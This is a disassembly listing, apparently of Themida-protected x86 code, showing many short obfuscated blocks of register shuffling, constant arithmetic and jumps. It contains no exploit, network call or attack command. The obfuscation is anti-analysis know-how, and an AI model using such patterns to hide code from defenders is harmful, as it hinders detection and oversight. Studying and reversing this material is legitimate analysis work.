		mov	cx, word ptr [esp+26h+var_26]
		push	648h
		mov	[esp+2Ah+var_2A], edx
		jmp	loc_56398D
; ---------------------------------------------------------------------------


loc_568DBF:				; CODE XREF: sub_55EDA7+11C11j
		add	edx, 287A28F7h
		jmp	loc_570597
; ---------------------------------------------------------------------------


loc_568DCA:				; CODE XREF: sub_55EDA7+BF0j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_56CC69
; ---------------------------------------------------------------------------


loc_568DDB:				; CODE XREF: sub_55EDA7+B0D6j
		pop	esp
		mov	[esp+44h+var_46+2], ebp
		mov	ebp, 2A7D3009h
		push	edx
		mov	edx, 5AC20A04h
		xor	edx, 60332F21h
		jmp	loc_568F28
; ---------------------------------------------------------------------------


loc_568DF5:				; CODE XREF: sub_56F632-1795j
		add	esi, 4
		jmp	loc_56DCA8
; ---------------------------------------------------------------------------


loc_568E00:				; CODE XREF: sub_55EDA7+5EA5j
		mov	esp, [esp-0Ch+arg_8]
		xor	byte ptr [esp-0Ch+arg_8], al
		pushf
		jmp	loc_569E82
; ---------------------------------------------------------------------------


loc_568E0C:				; CODE XREF: sub_55EDA7+100A5j
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_568E11:				; CODE XREF: sub_55EDA7+7778j
		pop	esi
		xchg	eax, [esp+1Ch+var_1E+2]
		pop	esp
		jmp	loc_562644
; ---------------------------------------------------------------------------


loc_568E1B:				; CODE XREF: sub_55EDA7+D7EEj
		pop	edx
		push	[esp+14h+var_16+2]
		jmp	loc_5698E8
; ---------------------------------------------------------------------------


loc_568E24:				; CODE XREF: Themida_:0056EAF0j
		mov	dh, ch
		pop	ecx
		jmp	loc_5715EF
; ---------------------------------------------------------------------------


loc_568E2C:				; CODE XREF: sub_55EDA7+99ECj
		mov	edx, esp
		add	edx, 4
		push	ebx
		push	2
		mov	ebx, [esp+4Ch+var_4E+2]
		push	esi
		jmp	loc_56A587
; ---------------------------------------------------------------------------


loc_568E43:				; CODE XREF: sub_55EDA7+9492j
		add	edx, esi
		pop	esi
		jmp	loc_560CBA
; ---------------------------------------------------------------------------


loc_568E4B:				; CODE XREF: sub_55EDA7+442Cj
		push	ecx
		mov	ecx, 6FAD74AFh
		xor	ecx, 658C0489h
		sub	ecx, 3DC01743h
		jmp	loc_56C0C3
; ---------------------------------------------------------------------------


loc_568E62:				; CODE XREF: sub_56F953-50Aj
		mov	cl, ah
		jmp	loc_560056
; ---------------------------------------------------------------------------


loc_568E69:				; CODE XREF: sub_55EDA7+A9A8j
		push	6E1Fh
		mov	[esp-0Ch+arg_8], ecx
		jmp	loc_565E55
; ---------------------------------------------------------------------------


loc_568E76:				; CODE XREF: sub_55EDA7+136B9j
		sub	esp, 4
		mov	[esp-8+arg_4], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_56C01B
; ---------------------------------------------------------------------------


loc_568E89:				; CODE XREF: sub_55EDA7+D3F2j
		sub	edx, 22B76CCBh
		sub	edx, 2BE9746Fh
		mov	eax, [edx]
		mov	edx, [esp-8+arg_4]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp-8+arg_4]
		pop	esp
		mov	[esp-0Ch+arg_8], ebp
		mov	ebp, 56EA492Ah
		jmp	loc_5682CE
; ---------------------------------------------------------------------------


loc_568EC0:				; CODE XREF: sub_55EDA7+7B5Aj
		mov	ebp, esi
		mov	eax, ebp
		jmp	loc_5630AA
; ---------------------------------------------------------------------------


loc_568EC9:				; CODE XREF: sub_55EDA7+577Cj
		pop	edi
		mov	eax, ecx
		push	[esp+24h+var_26+2]
		mov	ecx, [esp+28h+var_2A+2]
		add	esp, 4
		jmp	loc_565AEE
; ---------------------------------------------------------------------------


loc_568EDD:				; CODE XREF: sub_55EDA7+6DE3j
		sub	eax, 353A6E1Fh
		pop	ecx
		add	eax, ebp
		jmp	loc_561459
; ---------------------------------------------------------------------------


loc_568EEA:				; CODE XREF: sub_55EDA7+1134Ej
		sub	bl, 5Fh
		sub	bl, 0Fh
		jmp	loc_564CBA
; ---------------------------------------------------------------------------


loc_568EF5:				; CODE XREF: sub_55EDA7+BD1j
		xor	ebx, [esp+44h+var_46+2]
		jmp	loc_561C1D
; ---------------------------------------------------------------------------


loc_568EFD:				; CODE XREF: sub_55EDA7+3036j
		push	ebx
		push	edx
		mov	dh, 0Ah
		not	dh
		jmp	loc_55E812
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		sub	esp, 4
		mov	[esp+2Ah+var_2A], ebp
		mov	ebp, 16DB5415h
		jmp	sub_571031
; ---------------------------------------------------------------------------


loc_568F1E:				; CODE XREF: Themida_:0056D7CFj
		mov	ebp, 4
		jmp	loc_572A9E
; ---------------------------------------------------------------------------


loc_568F28:				; CODE XREF: sub_55EDA7+A049j
		and	ebp, edx
		pop	edx
		push	ecx
		mov	ecx, 6A2072C7h
		and	ebp, ecx
		pop	ecx
		push	edx
		mov	edx, 7811072h
		jmp	loc_563CE6
; ---------------------------------------------------------------------------


loc_568F3F:				; CODE XREF: sub_55EDA7+64A4j
		dec	ecx
		push	14CEh
		jmp	loc_563C0D
; ---------------------------------------------------------------------------


loc_568F4A:				; CODE XREF: Themida_:0056F6DCj
		mov	[esp-1Ch+arg_18], ebx
		jmp	loc_56D916
; ---------------------------------------------------------------------------


loc_568F52:				; CODE XREF: sub_55EDA7+4A4Bj
		pop	edi
		add	esi, eax
		pop	eax
		sub	esi, 4
		sub	esp, 4
		mov	[esp-12h+arg_C+2], esi
		jmp	loc_55F526
; ---------------------------------------------------------------------------


loc_568F6A:				; CODE XREF: sub_56D90D+4j
		push	2472h
		mov	[esp-0Eh+arg_8+2], ecx
		mov	ecx, esp
		push	edx
		mov	edx, 690007DCh
		neg	edx
		not	edx
		neg	edx
		shl	edx, 8
		sub	edx, 0FFF824FCh
		add	ecx, 5994704Bh
		push	esi
		mov	esi, 688A4057h
		sub	ecx, 0C242D48h
		jmp	loc_56F295
; ---------------------------------------------------------------------------


loc_568FA0:				; CODE XREF: sub_55EDA7+859j
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_570A56
; ---------------------------------------------------------------------------


loc_568FB1:				; CODE XREF: sub_55EDA7+113FFj
		not	esi
		jmp	loc_56FB6B
; ---------------------------------------------------------------------------


loc_568FB8:				; CODE XREF: sub_55EDA7+37EAj
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+2Ch+var_2E+2]
		pop	esp
		pop	[esp+28h+var_2A+2]
		mov	esp, [esp+24h+var_26+2]
		jmp	loc_56CC3C
; ---------------------------------------------------------------------------


loc_568FD2:				; CODE XREF: sub_55EDA7+405Dj
		mov	ebx, 11142B48h
		sub	ebx, 0B327181Dh
		and	eax, ebx
		pop	ebx
		xor	eax, 21F7BCE6h
		xor	edi, eax
		pop	eax
		sub	ebp, edi
		pop	edi
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_565E74
; ---------------------------------------------------------------------------


loc_568FFE:				; CODE XREF: sub_55EDA7+54AFj
		shr	esi, 8
		add	esi, 1
		jmp	loc_5726BF
; ---------------------------------------------------------------------------


loc_56900C:				; CODE XREF: sub_55EDA7+1E40j
		mov	ebx, esp
		push	ecx
		mov	ecx, 1CF72B03h
		push	ebx
		mov	ebx, 74517D13h
		and	ebx, 2B6F1E67h
		add	ebx, 2D050D0Fh
		xor	ebx, 138B7DC2h
		add	ebx, 0C47C0779h
		xor	ecx, ebx
		pop	ebx
		and	ecx, 26F82B06h
		shl	ecx, 2
		dec	ecx
		jmp	loc_562B31
; ---------------------------------------------------------------------------


loc_569044:				; CODE XREF: sub_55EDA7+76DFj
		pop	esi
		jmp	loc_560EB0
; ---------------------------------------------------------------------------


loc_56904A:				; DATA XREF: Themida_:0055E028o
		mov	cx, word ptr [esp-34h+arg_30]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp-30h+arg_2C]
		xor	[esp-30h+arg_2C], ebx
		jmp	loc_56B0B9
; ---------------------------------------------------------------------------


loc_569068:				; CODE XREF: sub_55EDA7+6699j
		push	dx
		mov	dh, 0Ah
		add	cl, dh
		pop	dx
		add	al, cl
		pop	ecx
		jmp	sub_56C3E2
; ---------------------------------------------------------------------------


loc_569078:				; DATA XREF: Themida_:0055E058o
		mov	ax, word ptr [esp-4+arg_0]
		push	4DACh
		mov	[esp+0], esi
		jmp	loc_57253C
; ---------------------------------------------------------------------------


loc_569089:				; CODE XREF: sub_55EDA7+100E4j
		sub	ebx, 3FC72F72h
		push	eax
		mov	eax, ebx
		mov	ebp, eax
		pop	eax
		pop	ebx
		shr	ebp, 5
		dec	ebp
		push	edx
		push	edi
		mov	edi, 92927D5h
		mov	edx, 0A504819h
		add	edx, 636C4388h
		jmp	loc_56F3DF
; ---------------------------------------------------------------------------


loc_5690B1:				; CODE XREF: sub_55EDA7-442j
		xchg	ebp, [esp-14h+arg_10]
		pop	esp
		pop	[esp-18h+arg_14]
		mov	esp, [esp-1Ch+arg_18]
		or	byte ptr [esp-1Ch+arg_18], al
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_5690C4:				; CODE XREF: sub_55EDA7+429j
		sub	eax, 7FC72928h
		push	[esp+18h+var_1A+2]
		pop	ecx
		add	esp, 4
		push	ecx
		jmp	loc_5696B2
; ---------------------------------------------------------------------------


loc_5690D6:				; CODE XREF: sub_55EDA7+11B3Dj
		pop	ecx
		add	esp, 4
		add	esp, 4
		jmp	loc_55EA0E
; ---------------------------------------------------------------------------


loc_5690E5:				; CODE XREF: sub_55EDA7+F190j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0Ch+var_E+2]
		mov	esp, [esp+0Ch+var_E+2]
		mov	[esp+0Ch+var_E+2], ebx
		jmp	loc_56FB94
; ---------------------------------------------------------------------------


loc_569101:				; CODE XREF: sub_55EDA7+54Aj
		add	eax, edx
		pop	edx
		add	eax, ebx
		sub	eax, 333A6D0Ch
		push	ebp
		mov	ebp, 416D65CAh
		shr	ebp, 6
		jmp	loc_566383
; ---------------------------------------------------------------------------


loc_569119:				; CODE XREF: sub_55EDA7+C17Cj
		dec	eax
		xor	eax, 678A3719h
		sub	ebx, eax
		pop	eax
		xor	edx, eax
		jmp	loc_56C382
; ---------------------------------------------------------------------------


loc_569129:				; CODE XREF: sub_55EDA7+4C05j
		pop	ebx
		pop	dword ptr [esp+0]
		pop	esp
		pop	[esp-0Ah+arg_4+2]
		pop	esp
		mov	[esp-12h+arg_C+2], ebp
		mov	ebp, 1
		jmp	loc_568366
; ---------------------------------------------------------------------------


loc_56913F:				; CODE XREF: sub_55EDA7+D620j
		push	ebx
		jmp	loc_567767
; ---------------------------------------------------------------------------


loc_569145:				; CODE XREF: sub_55EDA7+1166Fj
		xchg	edx, [esp-0Eh+arg_8+2]
		jmp	loc_55E2C4
; ---------------------------------------------------------------------------


loc_56914D:				; CODE XREF: sub_55EDA7+3544j
		mov	[esp-1Ch+arg_18], edi
		jmp	loc_570B90
; ---------------------------------------------------------------------------


loc_569155:				; CODE XREF: sub_55EDA7+1268Dj
		sub	esp, 4
		mov	[esp-18h+arg_14], eax
		push	ebx
		push	314Fh
		mov	[esp-10h+arg_C], edx
		jmp	loc_561C10
; ---------------------------------------------------------------------------


loc_56916C:				; CODE XREF: sub_55EDA7+B3D8j
		push	edx
		mov	dl, 0F2h
		push	797Fh
		mov	[esp-8+arg_4], ebx
		jmp	loc_571044
; ---------------------------------------------------------------------------


loc_56917C:				; CODE XREF: sub_55EDA7+CF82j
		pop	esp
		jmp	loc_570069
; ---------------------------------------------------------------------------
		lodsb
		push	cx
		mov	cl, 1Ah
		add	al, cl
		pop	cx
		add	al, bl
		push	edx
		jmp	loc_56A72E
; ---------------------------------------------------------------------------


loc_569193:				; CODE XREF: Themida_:0056BD21j
		sub	esi, ebx
		pop	ebx
		add	ecx, esi
		mov	esi, [esp-0Ch+arg_8]
		add	esp, 4
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp-8+arg_4], eax
		push	7F251C0Ch
		pop	eax
		push	edi
		mov	edi, 162F7A64h
		shr	edi, 3
		neg	edi
		jmp	loc_5637DE
; ---------------------------------------------------------------------------


loc_5691C0:				; CODE XREF: sub_55EDA7+47C8j
		neg	edx
		shr	edx, 1
		jmp	loc_56B449
; ---------------------------------------------------------------------------


loc_5691C9:				; CODE XREF: sub_56CEEA+Aj
		mov	eax, 72A01B13h
		mov	ebp, eax
		jmp	loc_56048E
; ---------------------------------------------------------------------------


loc_5691D5:				; CODE XREF: sub_55EDA7+86E7j
		push	esi
		jmp	loc_567CF1
; ---------------------------------------------------------------------------


loc_5691DB:				; CODE XREF: sub_55EDA7+F4E3j
		push	small 1A74h
		mov	word ptr [esp+1Ah+var_1A], ax
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_5691E8:				; CODE XREF: sub_55EDA7+EEE3j
		push	esp
		mov	eax, [esp+1Eh+var_1E]
		add	esp, 4
		push	ebp
		mov	ebp, 730F2D4Fh
		sub	ebp, 730F2D4Bh
		add	eax, ebp
		pop	ebp
		sub	eax, 4
		push	eax
		push	[esp+1Eh+var_1A]
		jmp	loc_56464F
; ---------------------------------------------------------------------------


loc_569210:				; CODE XREF: sub_55EDA7+A7A4j
		add	eax, 4
		jmp	sub_570E94
; ---------------------------------------------------------------------------


loc_56921A:				; CODE XREF: sub_55EDA7+F02Bj
		add	esp, 4
		sub	esp, 4
		mov	[esp+22h+var_22], edx
		push	esp
		jmp	loc_572089
; ---------------------------------------------------------------------------


loc_56922C:				; CODE XREF: sub_55EDA7+11435j
		xor	esi, [esp+26h+var_26]
		pop	esp
		push	4A27h
		mov	[esp+26h+var_26], eax
		sub	esp, 4
		push	esp
		jmp	loc_56ED13
; ---------------------------------------------------------------------------


loc_569244:				; CODE XREF: sub_55EDA7+7AFAj
		push	ebp
		jmp	loc_56504E
; ---------------------------------------------------------------------------


loc_56924A:				; CODE XREF: sub_55EDA7+3B61j
		pop	eax
		jmp	loc_571C53
; ---------------------------------------------------------------------------


loc_569250:				; CODE XREF: sub_55EDA7+8B7Bj
		mov	ecx, 5CBE5B00h
		sub	ecx, 59D16298h
		xor	ecx, 77E05B7Ah
		push	ebx
		mov	ebx, 1B6A086Ch
		xor	ecx, ebx
		pop	ebx
		shr	ecx, 2
		dec	ecx
		add	ecx, 55D65674h
		add	ebx, ecx
		pop	ecx
		add	ebx, eax
		jmp	loc_568C9F
; ---------------------------------------------------------------------------


loc_56927E:				; CODE XREF: sub_55EDA7+96E5j
		sub	esp, 4
		mov	[esp+2Ah+var_2A], esi
		push	ecx
		push	34243674h
		jmp	loc_56F919
; ---------------------------------------------------------------------------


loc_569292:				; CODE XREF: sub_55EDA7+7F26j
		add	esp, 4
		push	esi
		jmp	loc_56BAA1
; ---------------------------------------------------------------------------


loc_56929B:				; CODE XREF: sub_55EDA7+E7C7j
		xor	ebx, 377B370Eh
		or	ebx, 5F05642Ah
		sub	ebx, 1
		add	ebx, 0E1108FACh
		jmp	loc_55EFAB
; ---------------------------------------------------------------------------


loc_5692B5:				; CODE XREF: sub_55EDA7+CC51j
		mov	edx, 2DC40AFh
		shl	edx, 1
		xor	edx, 5B8815Ch
		jmp	loc_571037
; ---------------------------------------------------------------------------


loc_5692C7:				; CODE XREF: sub_55EDA7+F467j
		not	esi
		add	esi, 3F707A03h
		add	esi, 699D48B3h
		add	esi, 4EBF5B7Eh
		not	esi
		xor	esi, 2A7EC37Bh
		sub	ebp, esi
		pop	esi
		add	ebp, 1
		jmp	loc_55E4AF
; ---------------------------------------------------------------------------


loc_5692F1:				; CODE XREF: sub_55EDA7+12BA7j
		mov	edx, 5AAE1933h
		add	edi, edx
		pop	edx
		jmp	loc_562218
; ---------------------------------------------------------------------------


loc_5692FE:				; CODE XREF: sub_55EDA7+3199j
		push	esi
		mov	esi, 32DE2C69h
		add	esi, 572E5EB5h
		or	esi, 5D3553CEh
		jmp	loc_5725AF
; ---------------------------------------------------------------------------


loc_569315:				; CODE XREF: sub_55EDA7+3DD3j
		push	ebp
		mov	ebp, 14B5784Eh
		mov	ecx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 42AC0C45h
		sub	eax, 7E5D3724h
		add	eax, ebp
		add	eax, 7E5D3724h
		pop	ebp
		add	eax, ecx
		push	ecx
		mov	ecx, 42AC0C45h
		sub	eax, 13A8270Eh
		sub	eax, ecx
		jmp	loc_5700BD
; ---------------------------------------------------------------------------


loc_569345:				; CODE XREF: sub_570F48+25j
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		push	ebx
		push	[esp-20h+arg_20]
		pop	ebx
		pop	[esp-20h+arg_1C]
		pop	esp
		add	eax, 2DB01465h
		jmp	loc_56A4F0
; ---------------------------------------------------------------------------


loc_569362:				; CODE XREF: sub_55EDA7+2D42j
		add	esp, 4
		xchg	edi, [esp+6+var_8+2]
		pop	esp
		shl	byte ptr [esp+2+var_4+2], cl
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_569372:				; CODE XREF: sub_55EDA7+11FCBj
		push	esi
		mov	esi, 0F3C65CEh
		mov	eax, esi
		pop	esi
		jmp	loc_56A2C8
; ---------------------------------------------------------------------------


loc_569380:				; CODE XREF: sub_55EDA7+83F5j
		mov	[esp-10h+arg_C], edi
		mov	edi, 68D76361h
		jmp	loc_570BEC
; ---------------------------------------------------------------------------


loc_56938D:				; CODE XREF: sub_55EDA7+ADA5j
		add	esp, 4
		jmp	loc_560007
; ---------------------------------------------------------------------------


loc_569395:				; CODE XREF: sub_55EDA7+11A2Bj
		push	cx
		jmp	loc_560427
; ---------------------------------------------------------------------------


loc_56939C:				; CODE XREF: sub_55EDA7+CB84j
		mov	ebp, edx
		mov	edx, [esp-12h+arg_C+2]
		add	esp, 4
		jmp	loc_562FDA
; ---------------------------------------------------------------------------


loc_5693A9:				; CODE XREF: sub_55EDA7+A7Cj
		add	esp, 4
		add	ecx, 4
		push	esi
		mov	esi, 0E2C0863h
		shl	esi, 3
		jmp	loc_56DA65
; ---------------------------------------------------------------------------


loc_5693C3:				; CODE XREF: sub_55EDA7+136E0j
		add	esi, 4
		xchg	esi, [esp-14h+arg_10]
		pop	esp
		push	eax
		mov	eax, 2B997173h
		and	eax, 36486733h
		not	eax
		sub	esp, 4
		jmp	loc_568000
; ---------------------------------------------------------------------------


loc_5693E2:				; CODE XREF: sub_56C7B0+10j
		add	ebp, esi
		pop	esi
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp-14h+arg_10]
		pop	esp
		sub	edx, 3A6FD94Eh
		mov	esi, edx
		pop	edx
		sub	[esp-1Ch+arg_1C], 24536355h
		add	[esp-1Ch+arg_1C], esi
		add	[esp-1Ch+arg_1C], 24536355h
		mov	esi, [esp-1Ch+arg_18]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_55F4BF
; ---------------------------------------------------------------------------


loc_569420:				; CODE XREF: sub_55EDA7+9887j
		sub	ecx, 0FFFFFFFFh
		xor	ecx, 3C8B03BBh
		push	esi
		jmp	loc_56E171
; ---------------------------------------------------------------------------


loc_569432:				; CODE XREF: sub_55EDA7+150Fj
		push	ecx
		push	[esp+1Ch+var_1A+2]
		pop	ecx
		pop	[esp+1Ch+var_1E+2]
		pop	esp
		add	esp, 4
		add	esp, 4
		pop	[esp+0Ch+var_E+2]
		mov	esp, [esp+8+var_8]
		jmp	loc_56122A
; ---------------------------------------------------------------------------
off_569450	dd offset dword_5A5E68	; DATA XREF: Themida_:0055E070o
		dd 24048900h, 0BB535255h, 5A4E70CBh, 0F4E9DA89h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_569467:				; CODE XREF: sub_55EDA7+70C8j
		push	6B76h
		mov	[esp-20h+arg_1C], edx
		push	esi
		mov	esi, 40h
		push	esi
		push	esp
		jmp	loc_56A3D6
; ---------------------------------------------------------------------------


loc_56947C:				; CODE XREF: sub_55EDA7+D72Ej
		inc	esi
		inc	esi
		jmp	loc_55F0C4
; ---------------------------------------------------------------------------


loc_569483:				; CODE XREF: sub_55EDA7+13E2Bj
		xor	ebp, 457370Ah
		sub	ebp, 49945150h
		add	esi, ebp
		mov	ebp, [esp-14h+arg_10]
		add	esp, 4
		push	ebx
		mov	ebx, 149E3F3Dh
		sub	esp, 4
		mov	[esp-10h+arg_C], ebx
		xchg	eax, [esp-10h+arg_C]
		not	eax
		push	eax
		push	[esp-0Ch+arg_C]
		pop	eax
		pop	[esp-0Ch+arg_8]
		pop	ebx
		sub	ebx, 0FFFFFFFFh
		sub	ebx, 0EB61C0C1h
		add	esi, ebx
		jmp	loc_562792
; ---------------------------------------------------------------------------


loc_5694C5:				; CODE XREF: sub_55EDA7+4485j
		pop	edx
		sub	bh, 1
		push	bx
		not	byte ptr [esp-1Ah+arg_14+3]
		pop	bx
		shr	bh, 4
		xor	bh, 2Dh
		dec	bh
		push	small 17FBh
		jmp	loc_5673AC
; ---------------------------------------------------------------------------


loc_5694E2:				; CODE XREF: sub_55EDA7+859Bj
		pop	edx
		xchg	edi, [esp+8+var_8]
		jmp	loc_562EC9
; ---------------------------------------------------------------------------


loc_5694EB:				; CODE XREF: sub_55EDA7+C883j
		add	esp, 4
		push	[esp+4+var_4]
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		add	esp, 4
		push	3B62h
		mov	[esp+4+var_4], ecx
		push	6D5Ah
		mov	[esp+8+var_8], edx
		push	2722h
		mov	[esp+0Ch+var_E+2], eax
		mov	ah, 0EBh
		mov	dl, ah
		jmp	loc_5624B9
; ---------------------------------------------------------------------------


loc_569521:				; CODE XREF: sub_55EDA7+A964j
		mov	ecx, 79BE1DE5h
		shl	ecx, 6
		xor	ecx, 6BD52E9Dh
		add	ecx, 1
		shr	ecx, 4
		xor	ecx, 63EF38C5h
		mov	ebx, ecx
		pop	ecx
		shr	ebx, 7
		jmp	loc_56C9C7
; ---------------------------------------------------------------------------


loc_569549:				; CODE XREF: sub_55EDA7+EFDj
		mov	eax, esp
		jmp	loc_569210
; ---------------------------------------------------------------------------


loc_569550:				; CODE XREF: sub_55EDA7+10C87j
		and	eax, 2ADA653Dh
		jmp	loc_569E01
; ---------------------------------------------------------------------------


loc_56955A:				; CODE XREF: sub_55EDA7+DB70j
		push	ebp
		jmp	loc_56F309
; ---------------------------------------------------------------------------


loc_569560:				; CODE XREF: sub_55EDA7+961Dj
		push	eax
		push	5D1E79A1h
		pop	eax
		and	eax, 271C2732h
		xor	eax, 76175327h
		jmp	loc_564BC9
; ---------------------------------------------------------------------------


loc_569576:				; CODE XREF: sub_55EDA7+D17Bj
		xor	edi, 5E9156AAh
		xchg	eax, edi
		not	eax
		xchg	eax, edi
		push	eax
		mov	eax, 6D477068h
		sub	esp, 4
		jmp	loc_562C3F
; ---------------------------------------------------------------------------


loc_569591:				; CODE XREF: sub_56D8B3+6C4j
		inc	edx
		jmp	loc_56C0AA
; ---------------------------------------------------------------------------


loc_569597:				; CODE XREF: sub_55EDA7+3432j
		push	7E67h
		mov	[esp+4+var_4], esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 4
		sub	esi, edi
		pop	edi
		xchg	esi, [esp+4+var_4]
		pop	esp
		jmp	loc_56DD51
; ---------------------------------------------------------------------------


loc_5695B9:				; CODE XREF: sub_55EDA7+5EBEj
		sub	eax, edi
		pop	edi
		add	eax, edi
		add	eax, 784F77D3h
		pop	edi
		xchg	eax, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		jmp	loc_56763A
; ---------------------------------------------------------------------------


loc_5695CF:				; CODE XREF: sub_55EDA7+591Cj
		mov	esp, [esp-10h+arg_C]
		add	byte ptr [esp-10h+arg_C], al
		pushf
		jmp	loc_565773
; ---------------------------------------------------------------------------


loc_5695DB:				; CODE XREF: sub_55EDA7+AE29j
		push	esi
		jmp	loc_56328B
; ---------------------------------------------------------------------------


loc_5695E1:				; CODE XREF: sub_55EDA7+1504j
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_560C63
; ---------------------------------------------------------------------------


loc_5695EE:				; CODE XREF: sub_55EDA7+5E77j
		shl	ecx, 5
		push	eax
		mov	eax, 18B4736Ch
		jmp	loc_56A1E7
; ---------------------------------------------------------------------------


loc_5695FC:				; CODE XREF: sub_55EDA7+3F18j
		mov	ecx, [esp+6+var_8+2]
		push	23DFh
		mov	[esp+0], ecx
		push	esp
		pop	ecx
		jmp	loc_562AC8
; ---------------------------------------------------------------------------


loc_56960E:				; CODE XREF: sub_55EDA7+977Fj
		shl	edx, 1
		sub	edx, 58F61D7Dh
		add	edx, 3823C7Fh
		jmp	loc_568491
; ---------------------------------------------------------------------------


loc_569621:				; CODE XREF: sub_55EDA7+CD89j
		and	ecx, edi
		pop	edi
		add	ecx, 0A3FB088Eh
		mov	ebp, ecx
		pop	ecx
		jmp	loc_570297
; ---------------------------------------------------------------------------


loc_569632:				; CODE XREF: sub_55EDA7+1181Aj
		xor	edi, 781B1D16h
		xor	edi, 39563E9Bh
		add	edi, 8061C40h
		jmp	loc_56CF97
; ---------------------------------------------------------------------------


loc_569649:				; CODE XREF: sub_56E213+29j
		push	ebp
		jmp	loc_564189
; ---------------------------------------------------------------------------


loc_56964F:				; CODE XREF: sub_55EDA7+6FAAj
		and	ecx, edi
		mov	edi, [esp+2Ah+var_2A]
		add	esp, 4
		jmp	loc_56523C
; ---------------------------------------------------------------------------


loc_56965C:				; CODE XREF: sub_55EDA7+45C4j
		pop	ebx
		sub	ebx, 0EE54EB8Ch
		add	ebx, 0CB76A777h
		jmp	loc_562402
; ---------------------------------------------------------------------------


loc_56966E:				; CODE XREF: sub_55EDA7+117B6j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5723ED
; ---------------------------------------------------------------------------


loc_56967E:				; CODE XREF: sub_55EDA7+7ED2j
		or	eax, 79C6047Eh
		sub	eax, 0AB0C804h
		push	ecx
		mov	ecx, 10773068h
		not	ecx
		jmp	loc_567E2F
; ---------------------------------------------------------------------------


loc_569695:				; CODE XREF: sub_55EDA7+9F37j
		pop	ebx
		dec	ebx
		sub	ebx, 36C428C8h
		mov	ecx, ebx
		pop	ebx
		jmp	sub_56CC1C
; ---------------------------------------------------------------------------


loc_5696A5:				; CODE XREF: sub_55EDA7+118ADj
		xor	edx, 0E780949Dh
		mov	edi, edx
		jmp	loc_56226F
; ---------------------------------------------------------------------------


loc_5696B2:				; CODE XREF: sub_55EDA7+A32Aj
		mov	ecx, 0
		add	ecx, 94B054Bh
		add	ecx, eax
		sub	ecx, 94B054Bh
		push	ebx
		mov	ebx, 0
		add	ebx, ecx
		jmp	loc_55E67F
; ---------------------------------------------------------------------------


loc_5696D2:				; CODE XREF: sub_55EDA7+10C2Dj
		mov	esi, [esp+1Ch+var_1E+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+20h+var_22+2]
		pop	esp
		jmp	loc_563651
; ---------------------------------------------------------------------------


loc_5696ED:				; CODE XREF: sub_55EDA7+152Ej
		push	esi
		jmp	loc_56DD61
; ---------------------------------------------------------------------------


loc_5696F3:				; CODE XREF: sub_55EDA7+10A96j
		push	edx
		mov	dh, cl
		jmp	loc_565458
; ---------------------------------------------------------------------------


loc_5696FB:				; CODE XREF: sub_55EDA7+120C7j
		push	1F6Ch
		mov	[esp+20h+var_22+2], ebx
		push	3C6Bh
		mov	[esp+24h+var_26+2], ecx
		jmp	loc_569521
; ---------------------------------------------------------------------------


loc_569710:				; CODE XREF: sub_55EDA7+7719j
		xor	esi, [esp-38h+arg_34]
		xor	[esp-38h+arg_34], esi
		xor	esi, [esp-38h+arg_34]
		pop	esp
		xor	ebp, [esp-3Ch+arg_38]
		xor	[esp-3Ch+arg_38], ebp
		xor	ebp, [esp-3Ch+arg_38]
		mov	esp, [esp-3Ch+arg_38]
		mul	cx
		push	small 0C2Bh
		mov	word ptr [esp-3Ah+arg_34+2], dx
		push	ax
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_569739:				; CODE XREF: sub_55EDA7+9708j
		mov	ebx, [esp+2Ah+var_2A]
		jmp	loc_56685E
; ---------------------------------------------------------------------------


loc_569741:				; CODE XREF: sub_55EDA7+AF82j
		push	2976h
		mov	[esp+2Eh+var_2E], ebp
		jmp	loc_572BF9
; ---------------------------------------------------------------------------


loc_56974E:				; CODE XREF: sub_55EDA7+1390Aj
		pop	esp
		jmp	loc_568E69
; ---------------------------------------------------------------------------


loc_569754:				; CODE XREF: sub_55EDA7+10420j
		dec	edi
		push	ebx
		mov	ebx, 0A9A52598h
		jmp	loc_5654B0
; ---------------------------------------------------------------------------


loc_569760:				; CODE XREF: sub_55EDA7+C9AFj
		push	ebp
		jmp	loc_5670E4
; ---------------------------------------------------------------------------


loc_569766:				; CODE XREF: sub_55EDA7-7D6j
		mov	cl, 0CBh
		xor	dh, cl
		pop	cx
		sub	bh, 8
		add	bh, 0D0h
		add	bh, dh
		sub	bh, 0D0h
		add	bh, 8
		push	[esp-22h+arg_1C+2]
		mov	edx, [esp-1Eh+arg_18+2]
		add	esp, 4
		push	edi
		mov	edi, esp
		jmp	loc_570C17
; ---------------------------------------------------------------------------


loc_56978E:				; CODE XREF: sub_55EDA7+B9B4j
		mov	ebx, 37062484h
		not	ebx
		xor	ebx, 215D21E9h
		mov	eax, ebx
		pop	ebx
		add	edx, eax
		pop	eax
		jmp	loc_561618
